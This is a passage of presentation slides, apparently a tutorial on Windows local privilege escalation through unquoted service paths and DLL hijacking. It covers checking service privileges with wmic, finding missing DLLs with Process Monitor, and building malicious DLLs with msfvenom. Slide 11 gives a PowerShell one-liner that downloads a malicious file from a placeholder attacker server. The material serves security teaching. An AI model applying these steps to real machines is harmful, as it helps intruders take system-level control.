  • 9. Unquoted Services Permissions Unquoted services may be more common than expected, but not all of them can be targeted. We’ll need to verify that we have permission to write to the folder where the service will be searched, and we must choose a service with high privileges. To check the privileges on a service, we can use wmic with the ‘startname’ option. ‘LoaclSystem’ is the equivalent of NT Authority. 9
  • 10. Creating the EXE The next step is to create an exe that will run when the service attempts to search for ‘C:Program.exe’. A useful tool for the task is ‘advanced BAT to EXE converter’; this tool is used to convert a batch script into an executable. 10
  • 11. Transferring the File Downloading the malicious file over CLI is possible using a bit of powershell: powershell -Command "(New-Object Net.WebClient).DownloadFile(‘[malicious server]’, ‘[malicious file]’)“ For the sake of the example, we will assume we have write permissions for ‘C:’ and put the file there. 11
  • 12. Exploitation The last part is to wait for the service to run. If the service is started automatically at startup, a reboot will speed things up. Notice that if the computer is a part of the domain, password rules may apply. Disclaimer: The ‘WMPNetworkSvc’ used in the example is not the actual Windows service; the real service is quoted. 12
  • 13. 13 DLL Hijacking DLL search order DLLs are “dynamically linked libraries” with a purpose to share functions between applications. Because the DLL is an external file, the application needs to search for it in the filesystem. Microsoft has specific rules for the search order. Below is the search order: PRIORITY LOCATION 1 The directory from which the application is loaded 2 The current directory 3 The system directory (C:WindowsSystem32) 4 The 16-bit system directory 5 The Windows directory 6 The directories that are listed in the PATH environment variable
  • 14. Detecting Missing DLLs By using a process monitor from the sysinternal toolkit, we can watch all system events. In order to filter the view, so that only missing dll logs will be displayed, two filters need to be added: • ‘result is name not found’ • ‘path ends with .dll’ The target DLLs for the attack should be those being searched for in the applications directory. 14
  • 15. The Trick Relying on the fact the DLL is being searched for in a directory, and that it is not found, is the key to the exploitation. If we were to put a malicious DLL in the place of the name being searched for, our DLL will be selected instead of the real one. Malicious DLLs can be created with different tools like ‘msfvenom’. The goal is to try and find the application with the highest privileges. 15
  • 16. Result When loaded into memory, DLLs are not validated and are simply chosen by name. By putting a fake DLL in the application’s directory and in the first place we search for the DLL, we manage to spawn a cmd. Although non-missing DLLs can be also used, we risk crashing the application, and the malicious DLL will require more detailed preparation. 16